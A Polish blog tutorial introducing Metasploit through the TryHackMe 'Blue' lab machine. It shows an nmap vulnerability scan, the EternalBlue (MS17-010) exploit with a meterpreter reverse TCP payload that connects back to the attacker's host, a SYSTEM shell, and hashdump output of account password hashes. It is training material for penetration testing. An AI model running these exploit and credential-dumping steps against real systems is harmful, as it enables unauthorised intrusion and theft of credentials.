„Must be” każdego sekuraka, czyli przewodnik po narzędziu Metasploit na przykładzie tryhackme Blue

Metasploit, czyli narzędzie służące do testów penetracyjnych i łamania zabezpieczeń systemów teleinformatycznych, jest jednym z najbardziej znanych otwarto źródłowych projektów w świecie bezpieczeństwa. W tym artykule przyjrzymy się jak poruszać się po jego interfejsie oraz korzystać z jego głównych funkcjonalności.

Pierwsze uruchomienie

      .:okOOOkdc'           'cdkOOOko:.                                                                                                              
    .xOOOOOOOOOOOOc       cOOOOOOOOOOOOx.                                                                                                            
   :OOOOOOOOOOOOOOOk,   ,kOOOOOOOOOOOOOOO:                                                                                                           
  'OOOOOOOOOkkkkOOOOO: :OOOOOOOOOOOOOOOOOO'                                                                                                          
  oOOOOOOOO.MMMM.oOOOOoOOOOl.MMMM,OOOOOOOOo                                                                                                          
  dOOOOOOOO.MMMMMM.cOOOOOc.MMMMMM,OOOOOOOOx                                                                                                          
  lOOOOOOOO.MMMMMMMMM;d;MMMMMMMMM,OOOOOOOOl                                                                                                          
  .OOOOOOOO.MMM.;MMMMMMMMMMM;MMMM,OOOOOOOO.                                                                                                          
   cOOOOOOO.MMM.OOc.MMMMM'oOO.MMM,OOOOOOOc                                                                                                           
    oOOOOOO.MMM.OOOO.MMM:OOOO.MMM,OOOOOOo                                                                                                            
     lOOOOO.MMM.OOOO.MMM:OOOO.MMM,OOOOOl                                                                                                             
      ;OOOO'MMM.OOOO.MMM:OOOO.MMM;OOOO;                                                                                                              
       .dOOo'WM.OOOOocccxOOOO.MX'xOOd.                                                                                                               
         ,kOl'M.OOOOOOOOOOOOO.M'dOk,                                                                                                                 
           :kk;.OOOOOOOOOOOOO.;Ok:                                                                                                                   
             ;kOOOOOOOOOOOOOOOk:                                                                                                                     
               ,xOOOOOOOOOOOx,                                                                                                                       
                 .lOOOOOOOl.                                                                                                                         
                    ,dOd,                                                                                                                            
                      .                                                                                                                              

       =[ metasploit v6.1.4-dev                           ]
+ -- --=[ 2162 exploits - 1147 auxiliary - 367 post       ]
+ -- --=[ 592 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 8 evasion                                       ]

Metasploit tip: Display the Framework log using the 
log command, learn more with help log

msf6 > 

Przy pierwszym uruchomieniu dostaniemy informację o dostępnej ilości exploitów, auxiliary oraz innych skryptów. Czym tak właśniwie one są?

  • exploits – są to moduły wykorzystujące payload. Przy pracy z msf będziemy ich używać najczęściej,
  • auxiliary – moduł uwzględniający wszystkie dostępne skanery, fuzzery, sniffery itd.,
  • post – moduł służący do post exploitacji maszyny,
  • payloads – skrypty wykorzystywane do interakcji ze zhackowanym systemem. Istnieją trzy rodzaje payloadów – singles, staged i stages. Różnią się one między sobą poziomem zaawansowania,
  • encoders – w przypadku testów penetracyjnych nasza próba ataków może zostać wykryta poprzez oprogramowanie zabezpieczające. Może to prowadzić do zmarnowania przez atakującego jego czasu. Aby tego uniknąć, wykorzystywane są kodery (encoders). Ich zadaniem jest ukrywanie exploita w taki sposób, aby nie został ib wykryty,
  • nops – są to instrukcje No Operation, które po prostu przesuwają wykonanie programu do następnego adresu pamięci. Używamy nops, aby osiągnąć pożądane miejsce w adresach pamięci,
  • evasion – moduł służący do tworzenia payloadów omijających oprogramowanie antywirusowe.

Metasploit w praktyce

Aby lepiej móc skupić się na wyjaśnieniu całego procesu pracy z metasploitem, wszystkie wykorzystywane polecenia w przykładzie znaleźć można na końcu artykułu w sekcji „cheatsheet”.

Maszyną, którą będziemy atakować to dostępna na stronie tryhackme maszyna blue. Zaczynamy od uruchomienia jej i przeskanowania wszystkich dostępnych portów, a następnie uruchamiamy skaner podatności. Do sprawdzenia portów moglibysmy użyć jednego z dostępnych modułów auxiliary, ale niewątpliwie najlepszym do tego narzędziem będzie nmap – nie ma co sobie komplikować niepotrzebnie życia. Jeśli jeszcze nie wiesz jak on działa, niedawno wstawiliśmy o nim obszerny artykuł.

┌──(bugspace㉿kali)-[~]
└─$ nmap --script vuln  10.10.160.42
Starting Nmap 7.91 ( https://nmap.org ) at 2021-11-23 15:15 EST
Nmap scan report for 10.10.160.42
Host is up (0.062s latency).
Not shown: 991 closed ports
PORT      STATE SERVICE
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
3389/tcp  open  ms-wbt-server
| rdp-vuln-ms12-020: 
|   VULNERABLE:
|   MS12-020 Remote Desktop Protocol Denial Of Service Vulnerability
|     State: VULNERABLE
|     IDs:  CVE:CVE-2012-0152
|     Risk factor: Medium  CVSSv2: 4.3 (MEDIUM) (AV:N/AC:M/Au:N/C:N/I:N/A:P)
|           Remote Desktop Protocol vulnerability that could allow remote attackers to cause a denial of service.
|           
|     Disclosure date: 2012-03-13
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0152
|       http://technet.microsoft.com/en-us/security/bulletin/ms12-020
|   
|   MS12-020 Remote Desktop Protocol Remote Code Execution Vulnerability
|     State: VULNERABLE
|     IDs:  CVE:CVE-2012-0002
|     Risk factor: High  CVSSv2: 9.3 (HIGH) (AV:N/AC:M/Au:N/C:C/I:C/A:C)
|           Remote Desktop Protocol vulnerability that could allow remote attackers to execute arbitrary code on the targeted system.
|           
|     Disclosure date: 2012-03-13
|     References:
|       http://technet.microsoft.com/en-us/security/bulletin/ms12-020
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0002
|_ssl-ccs-injection: No reply from server (TIMEOUT)
|_sslv2-drown: 
49152/tcp open  unknown
49153/tcp open  unknown
49154/tcp open  unknown
49158/tcp open  unknown
49160/tcp open  unknown

Host script results:
|_samba-vuln-cve-2012-1182: NT_STATUS_ACCESS_DENIED
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: NT_STATUS_ACCESS_DENIED
| smb-vuln-ms17-010: 
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|        servers (ms17-010).
|           
|     Disclosure date: 2017-03-14
|     References:
|       https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|       https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143

Nmap done: 1 IP address (1 host up) scanned in 97.72 seconds

W ten sposób otrzymujemy informacje o potencjalnych podatnościach atakowanej maszyny. Spróbujmy zatem znaleźć w bazie metasploit jedną z nich.

msf6 > search ms17-010

Matching Modules
================

   #  Name                                      Disclosure Date  Rank     Check  Description
   -  ----                                      ---------------  ----     -----  -----------
   0  exploit/windows/smb/ms17_010_eternalblue  2017-03-14       average  Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
   1  exploit/windows/smb/ms17_010_psexec       2017-03-14       normal   Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
   2  auxiliary/admin/smb/ms17_010_command      2017-03-14       normal   No     MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
   3  auxiliary/scanner/smb/smb_ms17_010                         normal   No     MS17-010 SMB RCE Detection
   4  exploit/windows/smb/smb_doublepulsar_rce  2017-04-14       great    Yes    SMB DOUBLEPULSAR Remote Code Execution


Interact with a module by name or index. For example info 4, use 4 or use exploit/windows/smb/smb_doublepulsar_rce

Następnie użyjemy skanera pomocniczego (auxiliary) oraz wyświetlimy jego opcje aby sprawdzić, co dostaniemy w wynikach.

msf6 > use auxiliary/scanner/smb/smb_ms17_010 
msf6 auxiliary(scanner/smb/smb_ms17_010) > options

Module options (auxiliary/scanner/smb/smb_ms17_010):

   Name         Current Setting                             Required  Description
   ----         ---------------                             --------  -----------
   CHECK_ARCH   true                                        no        Check for architecture on vulnerable hosts
   CHECK_DOPU   true                                        no        Check for DOUBLEPULSAR on vulnerable hosts
   CHECK_PIPE   false                                       no        Check for named pipe on vulnerable hosts
   NAMED_PIPES  /usr/share/metasploit-framework/data/wordl  yes       List of named pipes to check
                ists/named_pipes.txt
   RHOSTS                                                   yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/U
                                                                      sing-Metasploit
   RPORT        445                                         yes       The SMB service port (TCP)
   SMBDomain    .                                           no        The Windows domain to use for authentication
   SMBPass                                                  no        The password for the specified username
   SMBUser                                                  no        The username to authenticate as
   THREADS      1                                           yes       The number of concurrent threads (max one per host)

Jak widać, przed przystąpieniem do pracy należy podać zmienną RHOSTS – zróbmy to, a następnie uruchommy skaner.

msf6 auxiliary(scanner/smb/smb_ms17_010) > set rhosts 10.10.160.42
rhosts => 10.10.160.42
msf6 auxiliary(scanner/smb/smb_ms17_010) > exploit

[+] 10.10.160.42:445      - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 10.10.160.42:445      - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Metasploit potwierdził, że host jest podatny na exploit ms17-010 EternalBlue. Następnym, co będziemy próbowali osiągnąć, to uruchomienie docelowego exploita w celu skompromitowania maszyny. Przed tym ponownie musimy wskazać atakowny RHOST.

msf6 auxiliary(scanner/smb/smb_ms17_010) > use exploit/windows/smb/ms17_010_eternalblue 
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
mmsf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 10.10.160.42
RHOSTS => 10.10.160.42

Dodatkowo, jeśli korzystamy z VPNa, będziemy musieli ustawić zmienną LHOST.

msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 10.9.6.223
LHOST => 10.9.6.223

Teraz pozostaje nam uruchomić exploit poleceniem run lub exploit.

msf6 exploit(windows/smb/ms17_010_eternalblue) > run

[*] Started reverse TCP handler on 10.9.6.223:4444 
[*] 10.10.21.28:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.10.21.28:445       - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 10.10.21.28:445       - Scanned 1 of 1 hosts (100% complete)
[+] 10.10.21.28:445 - The target is vulnerable.
[*] 10.10.21.28:445 - Connecting to target for exploitation.
[+] 10.10.21.28:445 - Connection established for exploitation.
[+] 10.10.21.28:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.10.21.28:445 - CORE raw buffer dump (42 bytes)
[*] 10.10.21.28:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73  Windows 7 Profes
[*] 10.10.21.28:445 - 0x00000010  73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76  sional 7601 Serv
[*] 10.10.21.28:445 - 0x00000020  69 63 65 20 50 61 63 6b 20 31                    ice Pack 1      
[+] 10.10.21.28:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.10.21.28:445 - Trying exploit with 12 Groom Allocations.
[*] 10.10.21.28:445 - Sending all but last fragment of exploit packet
[*] 10.10.21.28:445 - Starting non-paged pool grooming
[+] 10.10.21.28:445 - Sending SMBv2 buffers
[+] 10.10.21.28:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.10.21.28:445 - Sending final SMBv2 buffers.
[*] 10.10.21.28:445 - Sending last fragment of exploit packet!
[*] 10.10.21.28:445 - Receiving response from exploit packet
[+] 10.10.21.28:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.10.21.28:445 - Sending egg to corrupted connection.
[*] 10.10.21.28:445 - Triggering free of corrupted buffer.
[*] Sending stage (200262 bytes) to 10.10.21.28
[*] Meterpreter session 9 opened (10.9.6.223:4444 -> 10.10.21.28:49169) at 2021-11-23 18:56:55 -0500
[+] 10.10.21.28:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.21.28:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.21.28:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

meterpreter > 

Jak widać, domyślnie jesteśmy w powłoce meterpreter. Czym on jest? Jest to jeden z payloadów ataku metasploita, dzięki któremu docelowo możemy eksplorować maszynę bez pozostawiania po sobie śladów. Spróbujmy zatem zmienić powłokę z meterpretera na shella. Najpierw należy wejść ponownie do metasploita poleceniem background – nie zabija to aktywej sesji. Ich pełną listę można podejrzeć polceniem sessions.

meterpreter > background
[*] Backgrounding session 9...
msf6 exploit(windows/smb/ms17_010_eternalblue) > sessions

Active sessions
===============

  Id  Name  Type                     Information                   Connection
  --  ----  ----                     -----------                   ----------
  9         meterpreter x64/windows  NT AUTHORITY\SYSTEM @ JON-PC  10.9.6.223:4444 -> 10.10.21.28:49169 (10.10.21.28)

Aby użyć shella zamiast meterpretera, możemy użyć jednego ze skryptów modułu post – shell_to_meterpreter.

msf6 exploit(windows/smb/ms17_010_eternalblue) > use post/multi/manage/shell_to_meterpreter 
msf6 post(multi/manage/shell_to_meterpreter) > show options

Module options (post/multi/manage/shell_to_meterpreter):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   HANDLER  true             yes       Start an exploit/multi/handler to receive the connection
   LHOST                     no        IP of host that will receive the connection from the payload (Will try to auto detect).
   LPORT    4433             yes       Port for payload to connect to.
   SESSION                   yes       The session to run this module on.

Do prawidłowego działaniu skryptu potrzebne jest uzupełnienie zmiennej SESSION. Z poprzedniego polecenia wiemy, że id sesji, która nas interesuje, jest równa 9.

msf6 post(multi/manage/shell_to_meterpreter) > set SESSION 9
SESSION => 9

Pozostało uruchomić moduł. Możemy też, zamiast użyć modułu post, wpisać w meterpreterze po prostu polecenie shell.

meterpreter > shell
Process 2064 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system

Widzimy, że eskalowaliśmy do autorytetu NT, czyli konta systemu lokalnego. Daje nam to nieograniczony dostęp do wszystkich lokalnych zasobów systemowych.

Kolejnym wyzwaniem jest wyszukanie non-defaultowego użytkownika i zcrackowanie jego hasła. Do wypisania wszystkich użytkowników z ich hasłami, uzyjemy polecenia hashdump.

meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Jon:1000:aad3b435b51404eeaad3b435b51404ee:ffb43f0de35be4d9917ac0cc8ad57f8d:::

Teraz pozostaje złamać hasło za pomocą np. narzędzia John the ripper oraz odnaleźć ukryte flagi w plikach systemowych – nie będziemy przechodzić przez to krok po kroku, ponieważ nie taki jest zamysł obecnego artykułu.

Cheatsheet

  • search <regex> – szukanie modułu po wskazanym regexie,
  • use exploit/<exploitPath> – wskazanie exploita, który będziemy chcieli używać,
  • set <payload> – ustawianie payloadu,
  • options – wyświetlenie opcji dla obecnie używanego modułu,
  • set <option> <value> – ustawianie wartości dla wybranej opcji,
  • exploit / run – uruchamianie wybranego wcześniej exploita / modułu.

Źródła

https://www.metasploit.com/
https://www.offensive-security.com/metasploit-unleashed/
https://www.tutorialspoint.com/metasploit/metasploit_payload.html
https://github.com/security-cheatsheet/metasploit-cheat-sheet
https://tryhackme.com/room/blue
https://github.com/openwall/john

Dodaj komentarz

Twój adres e-mail nie zostanie opublikowany. Wymagane pola są oznaczone *